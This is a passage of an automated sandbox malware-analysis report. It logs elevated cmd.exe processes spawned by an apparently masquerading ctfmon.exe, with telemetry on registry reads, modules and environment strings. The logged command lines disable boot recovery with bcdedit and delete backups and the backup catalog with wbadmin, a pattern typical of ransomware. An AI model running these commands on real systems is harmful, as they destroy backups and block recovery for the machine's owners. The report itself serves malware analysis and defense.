Monitor Start Time: 00:00:36, Reason: Child Process
Unmonitor End Time: 00:00:40, Reason: Self Terminated
Monitor Duration 00:00:03
OS Process Information
»
Information Value
PID 0xa08
Parent PID 0x9f0 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A0C
0x A10
0x A14
0x A18
Host Behavior
File (16)
»
Operation Filename Additional Information Success Count Logfile
Write STD_OUTPUT_HANDLE size = 20 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 24 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 22 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 9 True 9
Fn
Data
Write STD_OUTPUT_HANDLE size = 92 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 97 True 1
Fn
Data
Registry (2)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters value_name = DefaultTTL, data = 0, type = REG_NONE False 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\ping.exe base_address = 0x80000 True 1
Fn
System (5)
»
Operation Additional Information Success Count Logfile
Sleep duration = 1000 milliseconds (1.000 seconds) True 2
Fn
Get Time type = System Time, time = 1627-02-27 17:06:36 (UTC) True 1
Fn
Get Time type = Ticks, time = 102227 True 1
Fn
Get Time type = Performance Ctr, time = 15689200871 True 1
Fn
Network Behavior
ICMP (3)
»
Operation Additional Information Success Count Logfile
Send ICMP Echo source_address = 0.0.0.0, destination_address = 127.0.0.1, timeout = 4000 True 3
Fn
DNS (1)
»
Operation Additional Information Success Count Logfile
Resolve Name host = 127.1, address_out = 127.0.0.1 True 1
Fn
Process #8: cmd.exe
58 0
»
Information Value
ID #8
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:52, Reason: Child Process
Unmonitor End Time: 00:00:53, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xafc
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B00
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a900000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:50 (UTC) True 1
Fn
Get Time type = Ticks, time = 115284 True 1
Fn
Get Time type = Performance Ctr, time = 17280485921 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #9: cmd.exe
58 0
»
Information Value
ID #9
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:52, Reason: Child Process
Unmonitor End Time: 00:00:54, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xb14
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B18
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a9e0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:50 (UTC) True 1
Fn
Get Time type = Ticks, time = 115409 True 1
Fn
Get Time type = Performance Ctr, time = 17293264395 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #10: cmd.exe
58 0
»
Information Value
ID #10
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:52, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:03
OS Process Information
»
Information Value
PID 0xb2c
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B30
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4aaa0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:50 (UTC) True 1
Fn
Get Time type = Ticks, time = 115534 True 1
Fn
Get Time type = Performance Ctr, time = 17305596503 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #11: cmd.exe
58 0
»
Information Value
ID #11
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:52, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb44
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B48
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a1c0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:50 (UTC) True 1
Fn
Get Time type = Ticks, time = 115659 True 1
Fn
Get Time type = Performance Ctr, time = 17318624823 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #12: cmd.exe
58 0
»
Information Value
ID #12
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:52, Reason: Child Process
Unmonitor End Time: 00:00:54, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xb5c
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B60
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x49e10000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-08 09:39:50 (UTC) True 1
Fn
Get Time type = Ticks, time = 115783 True 1
Fn
Get Time type = Performance Ctr, time = 17330797986 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #13: cmd.exe
58 0
»
Information Value
ID #13
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete backup
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:54, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xb74
Parent PID 0x9e8 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B78
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
